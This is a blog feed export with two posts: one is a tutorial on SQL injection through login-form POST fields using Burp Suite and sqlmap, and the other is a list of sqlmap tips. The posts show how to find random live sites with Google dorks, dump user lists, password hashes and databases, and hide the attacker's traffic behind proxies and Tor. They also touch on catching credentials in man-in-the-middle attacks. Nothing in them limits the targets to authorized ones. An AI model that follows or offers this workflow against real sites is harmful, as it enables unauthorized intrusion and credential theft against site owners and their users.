scheme="http://www.blogger.com/atom/ns#" term="$GET" /><category scheme="http://www.blogger.com/atom/ns#" term="$POST" /><category scheme="http://www.blogger.com/atom/ns#" term="SQL" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><category scheme="http://www.blogger.com/atom/ns#" term="SQL Hacking" /><category scheme="http://www.blogger.com/atom/ns#" term="Burpsuite" /><title>This ain't your standard $GET request!</title><content type="html">Today I will show you how to use SQLMAP to perform SQL injections via $POST. I should point out that this is not all that common of a vulnerability in the wild these days, but it is very good to know and should be tested before you give up all hopes on your target site. I would rate this as Intermediate in nature, due to complex nature of orchestrating things to work, but it is not all that hard to do if you give it a few tries. Here we go, try to keep up...&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;Start off by making sure you have the following requirements:&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Burpsuite (latest copy - free version is fine)&lt;/li&gt;
&lt;li&gt;Download from Homepage:&amp;nbsp; &lt;a href="http://portswigger.net/burp/download.html"&gt;http://portswigger.net/burp/download.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Just download and run burpsuite_v1.3.03.jar file (version number may change)&lt;/li&gt;
&lt;li&gt;Requires JRE Environment to be installed to run, platform independant&lt;/li&gt;
&lt;li&gt;SQLMAP (latest copy - Open Source=FREE)&lt;/li&gt;
&lt;li&gt;Download from Homepage:&amp;nbsp;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sourceforge.net/projects/sqlmap/files/sqlmap/"&gt;http://sourceforge.net/projects/sqlmap/files/sqlmap/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Requires Python to be installed, platform independant although not all features capable on Windows platform&lt;/li&gt;
&lt;li&gt;*Site with $POST data being submitted for us to find and inject (i.e. Login page or search fields&lt;/li&gt;
&lt;li&gt;Example Google Dork: "inurl:admin/login.php" get creative and get better results&lt;/li&gt;
&lt;/ul&gt;Now ow it is time to find a site where we can start doing some testing, let us use Google to see what we can find using a simple dork:&lt;br /&gt;
EX:&amp;nbsp;"ext:php inurl:admin/login site:US" &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NOTE:&amp;nbsp; There are variations to this, so use your own creativity to increase your odds&lt;br /&gt;
Resulting Target Found: &lt;a href="http://www.site.com/Admin/login.php"&gt;http://www.site.com/Admin/login.php&lt;/a&gt;&amp;nbsp;(take note, write it down, and close browser)&lt;br /&gt;
&lt;br /&gt;
Now it is time to use Burpsuite to help us find out the needed fields for injecting. Run the "burpsuite_v1.x.jar" file to get up and running, just double click it OR start it from the command line by using 'java -jar burpsuite_v1.x.jar' (replace "x" with your version number).&lt;br /&gt;
Bursuite is configured by default to operate on port 8080, so you will need to configure your favorite browser to use this as the proxy address so that Brupsuite can pick up all of the traffic&amp;nbsp;for analysis and&amp;nbsp;examining. For most browsers you can open and then&amp;nbsp;go into options or internet options&amp;gt;&amp;gt;connections&amp;gt;&amp;gt;LAN Settings&amp;gt;&amp;gt;PROXY Settings&amp;gt;&amp;gt;and then set to: 127.0.0.1:8080&amp;gt;&amp;gt;save&amp;gt;&amp;gt;and your done.&lt;br /&gt;
&lt;br /&gt;
Now any pages you go to in your web browser will be parsed by Burpsuite, simple remove proxy setting to go back to normal surfing. By default&amp;nbsp;Burpsuite has the option to "Intercept Data" set to "ON". This is helpful if you want to tamper with data for&amp;nbsp;EVERY request travling on the line.&amp;nbsp;You can&amp;nbsp;quicklya nd easily&amp;nbsp;turn this off if you dont want as much interaction as it will still save the logs for requests sent and received to the HISTORY tab. I prefer to leave it ON as I see more of what is actually going on and can simply DROP any I dont want or FORWARD to allow without very much hastle. Leave it setup for now, we will come back to this in a few...&lt;br /&gt;
&lt;br /&gt;
NOTE: you will have to do some back and forth to see the results while we test so I suggest you just minimize or adjust&amp;nbsp;your screens so you can run side by side (my preference) to save your self time.&lt;br /&gt;
&lt;br /&gt;
Now that we have a potential target and Burpsuite running we will start testing it with our browser to see what all is captured. Surf to the login page found with our Google Dorks earlier and watch as the Burpsuite starts to blink for user interaction. Assuming you have default behavior you will need to "FORWARD" or "DROP" the requests as they are sent and received. This equates to allow or drop in simple terms. You can review the actual details of what is being sent in the RAW tab window&amp;nbsp; (you change tabs to view different aspects of what is ebing sent/received). Let us try entering "logintest" in the login field and "passtest" in the password field, then submit. Obviously this is not going to get us into the site, unless you are just a really lucky guesser, BUT it will help us to get one step closer to accomplishing that task. You will see the request come through Burpsuite again, FORWARD the request to allow it to run through the full authentication cycle. Now lets review the results from that simple request we just sent...&lt;br /&gt;
&lt;br /&gt;
In Burpsuite navigate to the HISTORY tab, two to the right of the main INTECEPTOR tab we have been working from since we started. The HISTORY tab&amp;nbsp;will outline all of the details that were captured when we sent the login request to our target site.&lt;br /&gt;
&lt;br /&gt;
You should see one or two $GET requests which were sent from you when you were actually navigating to the target site, and then you should find a $POST request from when we actually submitted the login page/form. This is the one we are actually interested in. Highlight the $POST request in the history tab and you can view the specifics down below in the RAW tab window. This is a view of the $POST request sent, if you look through it (likely near bottom) you will notice the actual post parameters&amp;nbsp;sent for the form fields we entered (testlogin &amp;amp; passtest). &lt;br /&gt;
&lt;br /&gt;
It should look something like this:&lt;br /&gt;
&amp;nbsp;POST /Admin/login.php HTTP/1.1&lt;br /&gt;
&amp;nbsp;Host: &lt;a href="http://www.site.com/"&gt;http://www.site.com/&lt;/a&gt;&lt;br /&gt;
&amp;nbsp;Proxy-Connection: keep-alive&lt;br /&gt;
&amp;nbsp;Referer: &lt;a href="http://www.site.com/Admin/login.php"&gt;http://www.site.com/Admin/login.php&lt;/a&gt;&lt;br /&gt;
&amp;nbsp;Cache-Control: max-age=0&lt;br /&gt;
&amp;nbsp;Origin: &lt;a href="http://www.ostergottesdienste.de/"&gt;http://www.ostergottesdienste.de/&lt;/a&gt;&lt;br /&gt;
&amp;nbsp;User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24&lt;br /&gt;
&amp;nbsp;Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
&amp;nbsp;Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
&amp;nbsp;Accept-Encoding: gzip,deflate,sdch&lt;br /&gt;
&amp;nbsp;Accept-Language: en-US,en;q=0.8&lt;br /&gt;
&amp;nbsp;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3&lt;br /&gt;
&amp;nbsp;Cookie: sid=a3b362a522444335b693ab04007ebbed&lt;br /&gt;
&amp;nbsp;Content-Length: 133&lt;br /&gt;
&amp;nbsp;_auth_username=testlogin&amp;amp;_auth_password=testpass&amp;amp;Submit_button=Submit&lt;br /&gt;
&lt;br /&gt;
*Notice* the "_auth_username=testlogin" &amp;amp; "_auth_password=testpass". These are the $POST fields we just sent,&amp;nbsp;these field names&amp;nbsp;may vary from site to site so please stay with me if yours a little different.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Note&amp;nbsp;the cookie field to see if this is of any value, as this and user-agent fields&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; are also injectable (to be covered in another article).&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; *PRO TIP*: If you use tools like Cain and Able you can use this method to&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; add to the&amp;nbsp;"HTTP_PASS_FIELDS.LST" &amp;amp; "HTTP_USER_FIELDS.LST" files&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to increase your chances of&amp;nbsp;&amp;nbsp;catching credentials while pulling off MiTM attacks&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; as you can add the form fields it looks for.&lt;br /&gt;
&lt;br /&gt;
OK now that we know our $POST variables we will be working with, it is time to startup SQLMAP. Open command prompt and type in 'sqlmap.py', see previous posts regarding how to set environment variables to avoid having to navigate to the install folder.&amp;nbsp; Now that SQLMAP is up we will start feeding it the data we found from our previous steps above (_auth_username=&amp;amp;_auth_password=&amp;amp;Submit_button=). We will need to let identify we want to use $POST method to inject our website by issuing the '--data' argument followed by our $POST fields we found using Burpsuite "_auth_username=" &amp;amp; "_auth_password=".&lt;br /&gt;
&lt;br /&gt;
NOTE: $GET requests are sent by SQLMAP as default but by issuing the '--data' argument it is smart enough to know to change to $POST - realized by you supplying the those $POST parameters with the '--data' argument in command. The fields passed are then used to test for SQL injection as well as any &lt;br /&gt;
provided GET parameters that might normally be tested for.&lt;br /&gt;
&lt;br /&gt;
EX: sqlmap.py -u &lt;a href="http://www.site.com/Admin/login.php"&gt;http://www.site.com/Admin/login.php&lt;/a&gt; --data "_auth_username=test&amp;amp;_auth_password=test$Submit_button=Submit"&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;*PRO TIP* If you know or only want to test certain fields then only include the ones you want (i.e. _auth_password only). If you started a scan and it doesnt look like it is an injectable field you can hit 'CTRL+C' to pause and then you can hit 'N+ENTER' to skip to the next field to start testing. This can save you from spending unnecessary time.&lt;br /&gt;
&lt;br /&gt;
Once confirmed that you have found an injection point, we can add arguments we learned from our previous introductions to find crucial information. We transform the above command into the following:&lt;br /&gt;
EX: sqlmap.py -u &lt;a href="http://www.site.com/Admin/login.php"&gt;http://www.site.com/Admin/login.php&lt;/a&gt; --data "_auth_password=test" --current-user --current-dba --users --dbs --is-dba&lt;br /&gt;
&lt;br /&gt;
Once we have processed results we will check for passwords, using the '--passwords' and see if we can get any...&lt;br /&gt;
EX: sqlmap.py -u &lt;a href="http://www.site.com/Admin/login.php"&gt;http://www.site.com/Admin/login.php&lt;/a&gt; --data "_auth_password=test" --passwords&lt;br /&gt;
NOTE: this is assuming you have gone in order, as it will read the session file already created to skip things like (--users) which normally accompanies this command argument...&lt;br /&gt;
&lt;br /&gt;
You can continue enumerating the database for more details on tables, columns, etc but that was already covered in my two original posts on SQLMAP so I will not go into any more details on how to dump the database. If you are super lazy and this was too complex for you, then you can use the easy way out as covered in my mini-tutorial at the end of SQLMAP Tips &amp;amp; Tricks article (--forms).&lt;br /&gt;
&lt;br /&gt;
I hope you have enjoyed this little twist to your standard injection techniques, and hope you walk away remembering to leave no rock unturned in your search for vulnerabilities and injection points. I will try to include more in depth coverage on Burpsuite and its other functionalities and how else it can be used in future articles, but I encourage you in the meantime to please dig around in it and try to get creative.&lt;br /&gt;
&lt;br /&gt;
Later,&lt;br /&gt;
H.R.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8671806905307905831-2367849738517970986?l=kaoticcreations.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Dpb3fbuR_EwWhUu790g8HseS0mE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Dpb3fbuR_EwWhUu790g8HseS0mE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Dpb3fbuR_EwWhUu790g8HseS0mE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Dpb3fbuR_EwWhUu790g8HseS0mE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/CWtAZ/~4/9SUxUQQvDY4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://kaoticcreations.blogspot.com/feeds/2367849738517970986/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://kaoticcreations.blogspot.com/2011/05/this-aint-your-standard-get-request.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/2367849738517970986?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8671806905307905831/posts/default/2367849738517970986?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/CWtAZ/~3/9SUxUQQvDY4/this-aint-your-standard-get-request.html" title="This ain't your standard $GET request!" /><author><name>HR</name><uri>http://www.blogger.com/profile/05957795383670307007</uri><email>noreply@blogger.com</email></author><thr:total>0</thr:total><feedburner:origLink>http://kaoticcreations.blogspot.com/2011/05/this-aint-your-standard-get-request.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkQHRX45fip7ImA9WhZXFUo.&quot;"><id>tag:blogger.com,1999:blog-8671806905307905831.post-222738385912519542</id><published>2011-05-05T00:44:00.001-05:00</published><updated>2011-05-05T00:45:34.026-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-05T00:45:34.026-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SQL Tools" /><category scheme="http://www.blogger.com/atom/ns#" term="SQL Injection Tools" /><category scheme="http://www.blogger.com/atom/ns#" term="SQL Injection" /><category scheme="http://www.blogger.com/atom/ns#" term="Database Takeover" /><category scheme="http://www.blogger.com/atom/ns#" term="SQLi" /><category scheme="http://www.blogger.com/atom/ns#" term="Database" /><category scheme="http://www.blogger.com/atom/ns#" term="SQL" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><title>SQLMAP Volume 2: TIPS &amp; TRICKS</title><content type="html">1) You need to be safe, so this is crucial. I assume you already have a trusted VPN connected and now to be extra ninja we are also going to route traffic through proxies. We can accomplish this by simply setting the '--proxy=PROXY' parameter which will enable use of proxies during scanning. &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; EX: sqlmap.py -u &lt;a href="http://site.com/example.php?id=1"&gt;http://site.com/example.php?id=1&lt;/a&gt; --proxy=http://proxysite.com:PORT&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; You can also supply credentials with the '--proxy-cred=user:pass' argument&lt;br /&gt;
&lt;br /&gt;
2) You can speed scans by increasing the THREAD count, since the default is set to 3 request at a time.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2a) If you set this beyond the default you may want to also set the '--delay=DELAY' &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; parameter&amp;nbsp;to&amp;nbsp;allow some &amp;nbsp;strategic delays between requests (or to speed up &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; even further, although I&amp;nbsp;have a&amp;nbsp;feeling this leads to errors &amp;nbsp;which other tools are prone to &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (cough..Havij)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2b) You can use the '-o' switch to enable all of the optimiZation features at once&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;2c) If you are performing time based attacks or blind injections then it may be a better&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; idea to leave&amp;nbsp;thread count alone and use the '--predict-output' argumernt&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; which will save you a bit&amp;nbsp;of time and&amp;nbsp;will allow SQLMAP to perform some analysis&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; on found results in session file to help&amp;nbsp;speed things&amp;nbsp;up (can slow things down in other&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; scenarios where the '-o' option is much better&amp;nbsp;choice.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
3) You can have the tool load different USER-AGENTS in case a site or page has restrictions based on browser type. This can be accomplished by adding the '-a &amp;lt;insert/path/to/file&amp;gt;' parameter to your command string. It needs to be followed by the path to the file containing the USER-AGENTs to be used. You can run a few searches on Google to find some common ones or how to come up with your own custom USER-AGENT. NOTE: this may have been replaced by --user-agent=&amp;lt;insert user agent details&amp;gt; with latest update&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3a) there is a default list provided with installation that you can add to or see how they&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; are modeled&amp;nbsp;located at: '~\sqlmap\txt\user-agent.txt'&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;*3b) you can also just let SQLMAP do the deciding by issuing the '--random-agent'&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
4) If you need to fake out the referer in the request due to restrictions on server side you can change the default values by using the '--referer=&amp;lt;&lt;a href="http://www.insert/REFERER/page/.com/%3E'"&gt;http://www.insert/REFERER/page/.com/%3E'&lt;/a&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
5) Need credentials to perform a more in depth scan? No problem! We can set the credentials using the '--auth-cred' followed by credentials in the typical 'user'':''pass' format &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; EX: --auth-cred=user:password&amp;nbsp; or&amp;nbsp; --auth-cred=admin:IhazYourPazword! &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
6) You can load targets using GOOGLE and DORKS, by using the '-g' argument followed by the search dork in quotes ""&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; EX: sqlmap.py -g "inurl:index.php?id= site:us" &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NOTE: It will work on any targets found in an interactive manner but only the&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; arguments passes&amp;nbsp;with original command will be used on each target so make sure you&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; use some basics but not&amp;nbsp;too&amp;nbsp;much.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; EX: sqlmap.py -g "inurl:index.php?id=" -b --current-user --current-db --is-dba --dbs&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;6a) You can also process more than one site request at a time from a file by changing&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the standard&amp;nbsp;'-u' to '-r &amp;lt;path/to/load/HTTP/requests/from/&amp;gt;'&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
7) You can save and resume scans and data retrieved in session file (in "output" folder) to save time, or to pick things back up where you last left off. You need to use the '-s &amp;lt;insert/path/to/session/file&amp;gt;/session' parameter to tell it where to look to parse results from.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NOTE: Point it directly at the session file and not just the folder it is in or it &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; wont load properly.&lt;br /&gt;
You can also use the recorded scan details to learn a LOT. It contains info on the queries used to get all the details as well as everything found, so it is a good reference and learning tool (all dumps are converted to .CSV files which are above and beyond the log and session files that are saved). &lt;br /&gt;
&lt;br /&gt;
8) You can use the '--eta' paramter to have the scans keep an ETA so you have an idea of how long things are going to take. This come in handy when doing dumps of database to give you an idea of how long it thinks it will take (very useful when blind or trying to make determination as to whether or not it makes sense to dump a questionable table in full or just what you need. Remember if it looks like it will take too long you can use the '-s' argument to pick it back up later See step 7 above)&lt;br /&gt;
&lt;br /&gt;
9) You can use '--flush-session' to clear out the results stored for a session file if you need to just start over, or in case the admin has come along and made some changes since your last visit ;)&lt;br /&gt;
&lt;br /&gt;
10) The last one I will leave you with is very important if you are working on Linux machine, like Backtrack, to make sure you have the latest version of SQLMAP as it is constantly being worked on and new developments constantly being released. This can be accomplished by a quick addition of the '--update' argument.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; EX: sqlmap.py --update&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; NOTE: if you are working on Windows then you can either check the SQLMAP&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; homepage often&amp;nbsp;for updated version to download or you can try the Windows SVN&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; client called TortoiseSVN GUI,&amp;nbsp;and can be found here and is available for both 32&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; and 64 bit computers: &lt;a href="http://tortoisesvn.net/"&gt;http://tortoisesvn.net/&lt;/a&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; You just download and install, then navigate to the SQLMAP install folder in&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Windows&amp;nbsp;Explorer and you will now have green icon next to those folders&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; that can be updated by&amp;nbsp;SVN. Just right click and choose the option to&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SVN UPdate folder contents. Once it is done&amp;nbsp;you have updated copy.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
BONUS Material:&lt;br /&gt;
1) When attacking version 4 databases with no information schema to rely on there are still several options with SQLMAP:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1a) You can use the '--common-tables' and '--common-columns' arguments to try and bruteforce the table and column names. The default list is much greater than Havij and other tools and can easily be added to if you want to beef it up, it as well as many others used can be found at: ~\sqlmap\txt\*.txt&lt;br /&gt;
&lt;br /&gt;
2) If you dont get any positive results from injection but you have a gut fealing that the site is vulnerable then you can try increasing the '--level' or '--risk' arguments beyond the default level of 1. When you do this it will allow SQLMAP to perform more intense attacks and check for additional injection points such as the cookie field, user-agent field, and even the referer field. I typically will add '--level 3 --risk 3' to my command string if I dont get what I am looking for and have a strong feeling there is an injection point that is some how being overlooked. &lt;br /&gt;
3-X)=Updates recently introduced:&lt;br /&gt;
'&amp;nbsp;--batch' allows you to walk away from the terminal and let SQLMAP make all of the decisions on your behalf fro all instances where it would usually prompt for interaction, a true hands free experience&lt;br /&gt;
' --schema' which can be used to enumeate the databases or schema&lt;br /&gt;
' --parse-errors' which tells SQLMAP to parse the error messages from response pages received from queries - helpful when using google dorks&lt;br /&gt;
'&amp;nbsp;--mobile' which like the user-agent argument allows SQLMAP to act as if it was a mobile device, which can be handy in testing many of the new mobile.site.com spin-off domains to help reach ever expanding consumer markets with very little concern for security or sanitization :)&lt;br /&gt;
&amp;nbsp;Last, but certainly not least as this can be very helpful in adding to YOUR security: &lt;br /&gt;
' --tor' which enables SQLMAP to perform queries through the default TOR proxy setup address&lt;br /&gt;
&lt;br /&gt;
Mini-Tutorial on the: --forms&lt;br /&gt;
So you want to inject a search form or try to bypass basic login page (with the typically&amp;nbsp;two input fields&amp;nbsp;such as user and pass), you can either pass to sqlmap the request in a request file (-r) as noted aboved,&amp;nbsp;or you can&amp;nbsp;set the $POST data accordingly using the '--data' argument,...&lt;br /&gt;
...or let SQLMAP do it for you!&lt;br /&gt;
Both user and pass from&amp;nbsp;above example, as do others in real life, appear as &amp;lt;form&amp;gt; and &amp;lt;input&amp;gt; tags in HTML code. This is&amp;nbsp;where this switch will get to perform its handy work. Provide SQLMAP with '--forms' as well as the page where the form can be found as the target url '-u' and SQLMAP will do the rest, by&amp;nbsp;parsing the forms it has found on page provided and will interactively&amp;nbsp;guide you through to test for SQL injection on the form input fields (rather than performing a normal injection scan on site provided by '-u').&lt;br /&gt;
&lt;br /&gt;
Hope these help you with the tool SQLMAP a little bit more. Still working on adding some more instructions and tutorials regarding the additional features that interact with the filesystem, system registry, and actual command execution with a little help from Metasploit. I am also planning a separate short article on how to perform injections via $POST :)&lt;br /&gt;
&lt;br /&gt;
Until next time...&lt;br /&gt;
Later - H.R.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8671806905307905831-222738385912519542?l=kaoticcreations.blogspot.com' alt='' /&gt;&lt;/div&gt;
